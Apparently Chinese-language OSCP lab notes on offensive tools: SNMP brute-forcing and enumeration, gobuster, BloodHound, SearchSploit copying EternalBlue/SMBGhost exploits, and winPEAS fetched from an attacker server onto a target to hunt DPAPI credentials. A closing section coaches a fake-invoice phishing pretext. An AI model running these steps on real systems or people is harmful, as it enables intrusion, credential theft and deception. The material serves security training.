【OSCP】Tools

【SNMP】onesixtyone

OneSixtyOne(也稱為onesixty1或161)是一個用於 SNMP(Simple Network Management Protocol,簡單網路管理協議)掃描的命令行工具。SNMP是一個網絡管理協議,通常用於監控和管理網絡設備,如路由器、交換機、伺服器等。OneSixtyOne 的主要功能是嘗試從目標設備中獲取SNMP Community String(SNMP社區字串),這是一個用於訪問SNMP信息的密鑰。

以下是一些有關 OneSixtyOne 的重要信息:

  1. SNMP Community String:SNMP社區字串是一個類似密碼的值,用於訪問和控制支持SNMP的設備。不同的設備可能有不同的SNMP社區字串,通常有“讀取(Read)”社區和“寫入(Write)”社區,具體取決於設備的設置。

  2. OneSixtyOne 功能:OneSixtyOne 主要用於字典攻擊,它嘗試使用預定義的社區字符串清單(通常來自字典文件)來訪問目標設備的SNMP服務。一旦成功找到有效的社區字符串,攻擊者就可以訪問SNMP數據,包括設備配置、性能信息等。

  3. 用途:OneSixtyOne通常用於安全測試、網絡測試或管理目的。系統管理員和安全專業人員可以使用它來確保他們的設備的SNMP設置是安全的,並且未使用弱密鑰。

  4. 使用方式:要使用 OneSixtyOne,你需要提供目標設備的IP地址,並選擇要使用的社區字符串字典文件。然後,OneSixtyOne將嘗試每個社區字符串,看是否可以成功訪問目標設備的SNMP服務。

使用類似onesixtyone的工具,該工具將對一組IP地址進行暴力攻擊。首先,我們需要建立包含社區字符串和我們希望掃描的IP地址的文本文件。這些文件可以幫助我們進行SNMP暴力攻擊。

echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
onesixtyone -c community -i ips
onesixtyone 0.3.3 [選項] <主機> <社群>
  -c <社群檔案> 包含嘗試的社群名稱的檔案
  -i <輸入檔案> 包含目標主機的檔案
  -o <輸出檔案> 輸出日誌
  -p 指定替代的目的地SNMP埠口
  -d 調試模式,使用兩次以獲得更多信息

  -s 簡短模式,僅列印IP地址

  -w n 在發送封包之間等待n毫秒(1/1000秒)(默認值為10)
  -q 安靜模式,不要將日誌輸出到標準輸出,與 -o 一同使用
主機可以是IPv4地址或IPv4地址和子網遮罩
默認社群名稱為: public private

最大主機數: 65536
最大社群長度: 32
最大社群數量: 16384

示例: onesixtyone 192.168.4.0/24 public
          onesixtyone -c dict.txt -i hosts -o my.log -w 100
【OSCP】Tools

【SNMP】snmpwalk

我們可以使用像snmpwalk這樣的工具來探測並查詢SNMP值,前提是我們知道SNMP的只讀社區字符串,而在大多數情況下它是“public”。

   
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports

使用表1中提供的一些MIB值,我們可以嘗試枚舉它們對應的值。讓我們嘗試對實驗室中已知具有以“public”作為社區字符串的Windows SNMP端口的機器執行以下示例命令。此命令使用-c選項指定社區字符串,-v指定SNMP版本號,以及-t 10選項來增加超時時間到10秒:

kali@kali:~$ snmpwalk -c public -v1 -t 10 192.168.50.151
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (78235) 0:13:02.35
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
...

進一步展示,我們可以使用上面的輸出來獲取目標的電子郵件地址。這些信息可以用來製作針對新發現的聯絡人的社交工程攻擊。

為了進一步練習我們所學的,讓我們探討一些針對Windows目標的SNMP列舉技巧。我們將使用snmpwalk命令,它可以解析MIB Tree的特定分支,稱為OID。

以下示例列舉了dc01機器上的Windows用

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25
iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest"
iso.3.6.1.4.1.77.1.2.25.1.1.6.107.114.98.116.103.116 = STRING: "krbtgt"
iso.3.6.1.4.1.77.1.2.25.1.1.7.115.116.117.100.101.110.116 = STRING: "student"
iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator"

我們的命令查詢了與所有本地用戶帳戶名相對應的特定MIB子樹。

作為另一個示例,我們可以列舉所有當前運行的進程

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2
iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "System Idle Process"
iso.3.6.1.2.1.25.4.2.1.2.4 = STRING: "System"
iso.3.6.1.2.1.25.4.2.1.2.88 = STRING: "Registry"
iso.3.6.1.2.1.25.4.2.1.2.260 = STRING: "smss.exe"
iso.3.6.1.2.1.25.4.2.1.2.316 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.372 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.472 = STRING: "svchost.exe"
iso.3.6.1.2.1.25.4.2.1.2.476 = STRING: "wininit.exe"
iso.3.6.1.2.1.25.4.2.1.2.484 = STRING: "csrss.exe"
iso.3.6.1.2.1.25.4.2.1.2.540 = STRING: "winlogon.exe"
iso.3.6.1.2.1.25.4.2.1.2.616 = STRING: "services.exe"
iso.3.6.1.2.1.25.4.2.1.2.632 = STRING: "lsass.exe"
iso.3.6.1.2.1.25.4.2.1.2.680 = STRING: "svchost.exe"
...

這個命令返回了一個包含運行進程名稱的字符串數組。這些信息可能非常有價值,因為它可能會顯示存在漏洞的應用程序,或者甚至表明目標上運行著哪種類型的防病毒軟件。

同樣,我們可以查詢安裝在計算機上的所有軟件

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.6.3.1.2
iso.3.6.1.2.1.25.6.3.1.2.1 = STRING: "Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.2 = STRING: "VMware Tools"
iso.3.6.1.2.1.25.6.3.1.2.3 = STRING: "Microsoft Visual C++ 2019 X64 Additional Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.4 = STRING: "Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.27.290"
iso.3.6.1.2.1.25.6.3.1.2.5 = STRING: "Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.27.290"
iso.3.6.1.2.1.25.6.3.1.2.6 = STRING: "Microsoft Visual C++ 2019 X86 Additional Runtime - 14.27.29016"
iso.3.6.1.2.1.25.6.3.1.2.7 = STRING: "Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.27.29016"
...

當與我們之前獲得的運行進程列表結合在一起時,這些信息對於交叉檢查目標主機上進程運行的確切軟件版本可以變得非常有價值。

另一種 SNMP 枚舉技術是列出所有當前的 TCP 監聽端口

kali@kali:~$ snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.88.0.0.0.0.0 = INTEGER: 88
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.135.0.0.0.0.0 = INTEGER: 135
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.389.0.0.0.0.0 = INTEGER: 389
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.445.0.0.0.0.0 = INTEGER: 445
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.464.0.0.0.0.0 = INTEGER: 464
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.593.0.0.0.0.0 = INTEGER: 593
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.636.0.0.0.0.0 = INTEGER: 636
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3268.0.0.0.0.0 = INTEGER: 3268
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.3269.0.0.0.0.0 = INTEGER: 3269
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.5357.0.0.0.0.0 = INTEGER: 5357
iso.3.6.1.2.1.6.13.1.3.0.0.0.0.5985.0.0.0.0.0 = INTEGER: 5985
...

加上-Oa 可以解碼16進制資料

$ snmpwalk -c public -v1 -t 10 192.168.202.151  
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (492426016) 56 days, 23:51:00.16
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
iso.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
...
iso.3.6.1.2.1.2.2.1.1.22 = INTEGER: 22
iso.3.6.1.2.1.2.2.1.1.23 = INTEGER: 23
iso.3.6.1.2.1.2.2.1.1.24 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 53 6F 66 74 77 61 72 65 20 4C 6F 6F 70 62 61 63 
6B 20 49 6E 74 65 72 66 61 63 65 20 31 00 
iso.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 4D 69 63 72 6F 73 6F 66 74 20 36 74 6F 34 20 41 
64 61 70 74 65 72 00 
$ snmpwalk -c public -v1 -t 10 192.168.202.151 -Oa
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 25 Model 1 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.3
iso.3.6.1.2.1.1.3.0 = Timeticks: (492428968) 56 days, 23:51:29.68
iso.3.6.1.2.1.1.4.0 = STRING: "admin@megacorptwo.com"
iso.3.6.1.2.1.1.5.0 = STRING: "dc01.megacorptwo.com"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 79
iso.3.6.1.2.1.2.1.0 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
...
iso.3.6.1.2.1.2.2.1.1.21 = INTEGER: 21
iso.3.6.1.2.1.2.2.1.1.22 = INTEGER: 22
iso.3.6.1.2.1.2.2.1.1.23 = INTEGER: 23
iso.3.6.1.2.1.2.2.1.1.24 = INTEGER: 24
iso.3.6.1.2.1.2.2.1.2.1 = STRING: "Software Loopback Interface 1."
iso.3.6.1.2.1.2.2.1.2.2 = STRING: "Microsoft 6to4 Adapter."
iso.3.6.1.2.1.2.2.1.2.3 = STRING: "WAN Miniport (PPTP)."
iso.3.6.1.2.1.2.2.1.2.4 = STRING: "WAN Miniport (GRE)."

 

【OSCP】Tools

【Romote】xfreerdp rdesktop

xfreerdp /cert-ignore /size:93%  /v:192.168.198.151 /u:student /p:lab
xfreerdp /cert-ignore /size:87% /v:192.168.197.75 /d:corp.com /u:stephanie /p:'LegmanTeamBenzoin!!'
rdesktop -u student -p lab 192.168.202.152
【OSCP】Tools

【PathBuster】Gobuster

 支援不同的列舉模式,包括fuzzing和dns,但目前,我們只會依賴dir模式,該模式列舉文件和目錄。我們需要使用-u參數指定目標IP,並使用-w參數指定單詞列表。默認運行的線程數是10;我們可以通過使用-t參數設置更低的數字來減少流量。

# -t thead
# -u ip
# -w 字典檔
kali@kali:~$ gobuster dir -u 192.168.50.20 -w /usr/share/wordlists/dirb/common.txt -t 5
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.50.20
[+] Method:                  GET
[+] Threads:                 5
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/30 05:16:21 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://192.168.50.20/css/]
/db                   (Status: 301) [Size: 311] [--> http://192.168.50.20/db/]
/images               (Status: 301) [Size: 315] [--> http://192.168.50.20/images/]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/js                   (Status: 301) [Size: 311] [--> http://192.168.50.20/js/]
/server-status        (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://192.168.50.20/uploads/]

===============================================================
2022/03/30 05:18:08 Finished
===============================================================

在/usr/share/wordlists/dirb/文件夾中,我們選擇了common.txt單詞列表,找到了十個資源。其中有四個資源由於權限不足而無法訪問(狀態:403)。但是,其餘的六個是可以訪問的,值得進一步調查。

【OSCP】Tools

【linux】【提權】【弱掃】linpeas

# install
sudo apt-get update
sudo apt-get -y install peass

# 複製到本地
kali@kali:~$ cp /usr/share/peass/winpeas/winPEASx64.exe .
# 啟用python server提供下載
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# windos 執行 pwershell
C:\Users\dave>powershell
...省略
# 下載 winPEAS.exe
PS C:\Users\dave> iwr -uri http://192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe

# 執行 winPEAS 掃描
PS C:\Users\dave> .\winPEAS.exe > answer.txt
.\winPEAS.exe > answer.txt
 [!] Windows version not supported, build number: '22000'
 
 
# 找尋密碼(Checking for DPAPI Credential Files 後的10行)
 PS C:\Users\dave> Select-String -Path .\answer.txt -Pattern 'Checking for DPAPI Credential Files' -Context 1, 10

  answer.txt:1920:
> answer.txt:1921:����������͹ Checking for DPAPI Credential Files
  answer.txt:1922:�  https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
  answer.txt:1923:    CredFile: C:\Users\dave\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
  answer.txt:1924:    Description: Local Credential Data
  answer.txt:1925:
  answer.txt:1926:    MasterKey: 7ba528f7-4e73-48a3-8a67-e5680688c9ff
  answer.txt:1927:    Accessed: 11/28/2023 7:45:54 AM
  answer.txt:1928:    Modified: 2/13/2023 2:46:41 AM
  answer.txt:1929:    Size: 11136
  answer.txt:1930:   =================================================================================================
  answer.txt:1931:
【OSCP】Tools

【Linux】【提權】GTFOBins

GTFOBins 是一個安全工具,用於收集和提供攻擊者在 Linux 和 Unix 系統上濫用的 "提升權限" 或 "逃逸" 技術。它的全名是 "GTFO (Get The Fudge Out) Bins",而 "Bins" 指的是二進制文件,即執行檔。GTFOBins 有一個簡單的目標:提供一個易於搜索和使用的資源,以查找關於不同系統命令和二進制文件的特權提升技術的信息。

以下是使用 GTFOBins 的基本步驟:

  1. 瀏覽 GTFOBins 網站: GTFOBins 的官方網站是 https://gtfobins.github.io/ 。你可以直接在網頁上搜索特定命令或二進制文件,也可以瀏覽不同的類別。

  2. 搜尋技術: 在網站上使用搜索功能,輸入你感興趣的命令或二進制文件名稱,然後查看相應的結果。每個結果都提供了有關如何使用這些二進制文件進行特權提升的信息。

  3. 了解特權提升技術: 對於每個命令或二進制文件,GTFOBins 提供了相關的技術和實例,說明攻擊者如何使用這些工具來提升特權。這可能涉及到濫用系統漏洞或執行一些特殊的命令來達到目的。

  4. 謹慎使用: 請注意,GTFOBins 提供的信息主要是為了教育和安全意識而設計的。請勿將這些技術用於非法或未獲授權的活動。使用這些技術來測試自己的系統或獲得授權的測試是可行的,但必須遵從相應的法律和道德標準。

總的來說,GTFOBins 是一個有用的資源,可以幫助安全專業人員和系統管理員了解和防禦濫用系統的方法。

【OSCP】Tools

【AD】【列舉】ADRecon

ADRecon(Active Directory Reconnaissance)是一種用於對Active Directory(AD)環境進行信息收集和分析的工具或技術。Active Directory是由Microsoft開發的用於管理和組織網絡中的計算機、用戶和資源的目錄服務。ADRecon的主要目的是幫助安全專業人員、紅隊和藍隊人員了解AD環境的結構和配置,以便更好地評估安全風險、進行紅隊測試或加強防禦措施。

https://github.com/adrecon/ADRecon

wget https://github.com/adrecon/ADRecon/blob/master/ADRecon.ps1

git clone https://github.com/adrecon/ADRecon.git
# 將資料產出
.\ADrecon.ps1 -Quputtype html

ADRecon通常執行以下任務:

1. **信息收集:** 探查AD環境,收集有關域控制器、用戶帳戶、群組成員資訊、計算機、GPO(Group Policy Objects)等的信息。

2. **權限和訪問權限分析:** 獲取有關用戶和群組的權限信息,以識別潛在的安全風險。這包括檢查哪些用戶具有高權限、哪些用戶可以訪問關鍵資源等。

3. **攻擊表面分析:** 分析AD環境的攻擊表面,包括識別可能的弱點、不安全的設定和可能的攻擊向量。

4. **密碼破解和哈希收集:** 尋找弱密碼、空密碼或使用弱加密算法的帳戶,以及收集用戶帳戶的哈希。

5. **枚舉域控制器和服務:** 了解AD環境中的域控制器、LDAP服務和其他重要服務的信息。

6. **藍隊測試:** 在授權的情況下,模擬攻擊者的行為,以測試防禦機制的有效性。

7. **風險評估:** 通過分析AD環境的結構和配置,評估安全風險並提出建議的改進措施。

要注意的是,ADRecon通常由安全專業人員或網絡安全團隊使用,並且在使用之前必須獲得授權,以避免非法入侵或濫用。此類工具和技術的使用主要是為了加強網絡安全,發現潛在的弱點,並提高對潛在攻擊的警覺。

【OSCP】Tools

【AD】【列舉】BooldHound

BoooldHound(BloodHound)是一個用於Active Directory(AD)環境的安全分析和攻擊模擬工具。它旨在幫助安全專業人員、紅隊人員和藍隊人員更好地理解和評估AD環境中的安全風險,尤其是針對橫向移動和權限提升的風險。

https://github.com/BloodHoundAD/BloodHound

# 安裝
sudo apt install -y bloodhound

# 啟動圖形化資料庫
sudo neo4j start

Started neo4j (pid:70263). It is available at http://localhost:7474
There may be a short delay until the server is ready.


#修改密碼 -> firefox 開啟 https://localhost:7474

username / password => neo4j

image-1702194936048.png

修改密碼

image-1702194971848.png

# shell 輸入bloodhound
bloodhound

#填入帳密 neo4j / {修改後的密碼}

image-1702195251120.png

使用 SharpHound 搜集資料 https://bookstack.treemanou.com/books/treemanoscp/page/adsharphound

Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\tools\ -OutputPrefix "corp_audit"

或是使用 Bloodhound.py

# kali install
sudo apt install -y bloodhound.py
# 使用
bloodhound-python -u {username} -p {password} -c all -d corp.com  -ns 192.168.210.70

 


上傳分析資料

image-1706938443694.png

先在左上框框搜尋Management Department,然後出現畫面會出現節點,點選節點後,Node Info頁籤會出現東西,拉至最底下 Transitive Object Controllers 旁邊的箭頭,點下去。

image-1706939877356.png

然後右邊功能設定,都先設定Always Display,Node Info頁籤點選Explicit Object Controllers,就會出現以下圖表,其中找到Owns的線所對應的就是答案DOMAIN ADMINS

image-1706939793460.png

【OSCP】Tools

【Exploit】SearchSploit

SearchSploit 是一個命令行搜索工具,用於在本地系統上搜索 Exploit Database 存檔。這個存檔預設包含在 Kali Linux 中的 exploitdb 包中。我們建議在進行任何評估之前更新該包,以確保安裝了最新的攻擊代碼。可以使用以下命令更新該包:

kali@kali:~$ sudo apt update && sudo apt install exploitdb
[sudo] password for kali: 
...
The following packages will be upgraded:
  exploitdb
...
Setting up exploitdb (20220526-0kali1) ...
...

上述命令將更新本地 Exploit Database 存檔的副本,存放在 /usr/share/exploitdb/ 目錄下。該目錄分為兩個主要部分,即 exploits 和 shellcodes。/usr/share/exploitdb/ 目錄包含每個 exploits 和 shellcodes 子目錄的 CSV 文件。每個 CSV 文件包含其相應子目錄中所有文件的文件信息。這些 CSV 文件包含與 Exploit DB 網站相似的信息,如 EDB-ID、標題、作者、平台等,這些信息我們之前已經介紹過。

當我們重定向到 exploits 目錄時,我們會找到許多子目錄,其中包含所有的攻擊。這些子目錄是根據操作系統、架構、腳本語言等進行分類的。例如,linux 子目錄包含所有與 Linux 相關的攻擊。

kali@kali:~$ ls -1 /usr/share/exploitdb/exploits
aix
alpha
android
arm
ashx
asp
aspx
atheos
beos
bsd
bsd_x86
cfm
cgi
freebsd
freebsd_x86
...

手動搜索 Exploit Database 絕對不是理想的方法,特別是考慮到存檔中的大量攻擊。這就是 searchsploit 工具派上用場的地方。

我們可以在命令行中運行 searchsploit,而無需使用任何參數來顯示其用法:

kali@kali:~$ searchsploit 
  Usage: searchsploit [options] term1 [term2] ... [termN]
...

就內建的例子來看,searchsploit 允許我們通過提供的不同搜索選項作為參數進行整個存檔的搜索並顯示結果。

==========
 Examples 
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446
  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
  searchsploit -s Apache Struts 2.0.0
  searchsploit linux reverse password
  searchsploit -j 55555 | json_pp

  For more examples, see the manual: https://www.exploit-db.com/searchsploit

這些選項允許我們縮小搜索範圍、更改輸出格式、更新 exploitdb 套件等。

=========
 Options 
=========
## Search Terms
   -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe)
   -e, --exact    [Term]      Perform an EXACT & order match on exploit title (Default is an AND match on each term) [Implies "-t"]
                                e.g. "WordPress 4.1" would not be detect "WordPress Core 4.1")
   -s, --strict               Perform a strict search, so input values must exist, disabling fuzzy search for version range
                                e.g. "1.1" would not be detected in "1.0 < 1.3")
   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path)
       --exclude="term"       Remove values from results. By using "|" to separate, you can chain multiple values
                                e.g. --exclude="term1|term2|term3"

## Output
   -j, --json     [Term]      Show result in JSON format
   -o, --overflow [Term]      Exploit titles are allowed to overflow their columns
   -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible)
   -v, --verbose              Display more information in output
   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path
       --id                   Display the EDB-ID value rather than local path
       --colour               Disable colour highlighting in search results
...

最後,幫助菜單的「Notes」部分揭示了一些有用的搜索提示。

=======
 Notes 
=======
 * You can use any number of search terms
 * By default, search terms are not case-sensitive, ordering is irrelevant, and will search between version ranges
   * Use '-c' if you wish to reduce results by case-sensitive searching
   * And/Or '-e' if you wish to filter results by using an exact match
   * And/Or '-s' if you wish to look for an exact version match
 * Use '-t' to exclude the file's path to filter the search results
   * Remove false positives (especially when searching using numbers - i.e. versions)
 * When using '--nmap', adding '-v' (verbose), it will search for even more combinations
 * When updating or displaying help, search terms will be ignored

例如,我們可以使用以下語法搜索針對 Windows 操作系統上的 SMB 服務的所有可用遠程攻擊:

kali@kali:~$ searchsploit remote smb microsoft windows
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft DNS RPC Service - 'extractQuotedChar()' Remote Overflow 'SMB' (MS07-029) (Metasploit)                             | windows/remote/16366.rb
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010)   | windows/remote/43970.rb
Microsoft Windows - 'SMBGhost' Remote Code Execution                                                                        | windows/remote/48537.py
Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050)                                                       | windows/remote/40280.py
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050)                                | windows/remote/14674.txt
Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050) (Metasploit)                   | windows/remote/16363.rb
Microsoft Windows - SMB Relay Code Execution (MS08-068) (Metasploit)                                                        | windows/remote/16360.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit)                                               | windows/dos/41891.rb
Microsoft Windows - SmbRelay3 NTLM Replay (MS08-068)                                                                        | windows/remote/7125.txt
Microsoft Windows 2000/XP - SMB Authentication Remote Overflow                                                              | windows/remote/20.txt
Microsoft Windows 2003 SP2 - 'ERRATICGOPHER' SMB Remote Code Execution                                                      | windows/remote/41929.py
Microsoft Windows 2003 SP2 - 'RRAS' SMB Remote Code Execution                                                               | windows/remote/44616.py
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                            | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                        | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                  | windows_x86-64/remote/42030.py
Microsoft Windows 95/Windows for Workgroups - 'smbclient' Directory Traversal                                               | windows/remote/20371.txt
Microsoft Windows NT 4.0 SP5 / Terminal Server 4.0 - 'Pass the Hash' with Modified SMB Client                               | windows/remote/19197.txt
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010)                               | windows_x86-64/remote/41987.py
Microsoft Windows Vista/7 - SMB2.0 Negotiate Protocol Request Remote Blue Screen of Death (MS07-063)                        | windows/dos/9594.txt
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

具有搜索參數的攻擊將顯示在輸出中。為了演示,假設我們希望在參與過程中使用上面突出顯示的兩個攻擊。為了演示,假設我們枚舉了兩個對 SMBGhost 和 EternalBlue 漏洞易受攻擊的 SMB 伺服器。

如果需要修改攻擊,我們可以使用 -m 選項將攻擊複製到當前工作目錄。將攻擊複製到當前工作目錄的好處是更容易組織在參與過程中使用的攻擊並將其與正在測試的系統相關聯。

所有本地攻擊在釋放新的 exploitdb 套件時都會被覆蓋,因此在原始位置修改攻擊會導致我們損失這些更改。

讓我們使用 -m 選項複製這兩個攻擊。我們可以使用這些攻擊的路徑或 EDB-ID 進行複製,這些 ID 可以在其路徑名稱中找到。

kali@kali:~$ searchsploit -m windows/remote/48537.py

  Exploit: Microsoft Windows - 'SMBGhost' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48537
     Path: /usr/share/exploitdb/exploits/windows/remote/48537.py
File Type: Python script, ASCII text executable, with very long lines (343)

Copied to: /home/kali/48537.py

kali@kali:~$ searchsploit -m 42031
  Exploit: Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
      URL: https://www.exploit-db.com/exploits/42031
     Path: /usr/share/exploitdb/exploits/windows/remote/42031.py
File Type: Python script, ASCII text executable

Copied to: /home/kali/42031.py

我們想要的攻擊現在已複製到我們當前的工作目錄中。第一個命令執行複製了攻擊文件,第二個命令執行複製了攻擊,通過其 EDB-ID 進行標識。

【OSCP】Tools

【Honeypot】canarytokens

https://canarytokens.org/generate

我們將使用Canarytokens,這是一個免費的網絡服務,生成帶有嵌入式令牌的鏈接,我們將其發送給目標。當目標在瀏覽器中打開鏈接時,我們將獲得有關其瀏覽器、IP地址和操作系統的信息。有了這些信息,我們可以確認目標正在運行Windows,並確定我們應該嘗試進行HTA客戶端攻擊。

在創建我們的追踪鏈接之前,讓我們簡要討論在這種情況下我們可以使用的前設。前設以特定的方式框定一種情況。在大多數情況下,我們不能要求目標(一個陌生人)在任意電子郵件中點擊鏈接。因此,我們應該嘗試創建上下文,可能是利用目標的工作角色。

例如,假設我們的目標在財務部門工作。在這種情況下,我們可以說我們收到了一張發票,但其中包含了財務錯誤。然後,我們提供一個鏈接,我們說這個鏈接打開了一張突出顯示錯誤的發票的截圖。這當然就是Canarytoken鏈接。當目標點擊鏈接時,IP日誌記錄器會創建目標的指紋,為我們提供準備客戶端攻擊所需的信息。目標在點擊鏈接時將總是收到一個空白頁面。

有了我們的前設,讓我們在Canarytokens中創建我們的鏈接,通過在瀏覽器中加載令牌生成頁面。圖3顯示了該站點的首頁。

image-1700373372859.png

網頁表單為我們提供了一個下拉菜單,以選擇我們要創建的追踪令牌的類型。我們必須輸入一個電子郵件地址,以獲得有關追踪令牌的警報,或者提供一個Webhook URL。在這個例子中,我們將從下拉菜單中選擇Web bug / URL令牌,輸入https://example.com作為Webhook URL,然後輸入Fingerprinting作為評論。輸入完這些信息後,我們將點擊"Create my Canarytoken"。

image-1700373453603.png

一個新的頁面出現,上面有一個藍色的窗口,顯示我們的網絡令牌現在已經啟動:

image-1700373538624.png

這個頁面包含我們可以用來指紋識別目標的追踪鏈接。它還提供了如何讓目標點擊該鏈接的想法。

接下來,讓我們點擊頁面右上角的"Manage this token",這將帶我們進入令牌設置頁面。

 

image-1700373584797.png

該令牌尚未觸發,但這是預期的,因為我們剛創建它。在這個例子中,我們將保持默認設置,因為我們只是對目標進行指紋識別,而不是將令牌嵌入到Web應用程序或網頁中。

接下來,讓我們點擊右上角的"History"。歷史頁面會顯示所有點擊我們Canarytoken鏈接的訪問者以及有關受害者系統的信息。截至目前,列表是空的。

image-1700373636941.png

讓我們假設我們已經在我們的前設背景下說服了我們的受害者,讓他們通過電子郵件訪問Canarytoken鏈接。當受害者點擊我們的鏈接時,他們的瀏覽器中將顯示一個空白頁面。同時,我們的歷史列表中出現了一條新的項目:

image-1700373680038.png

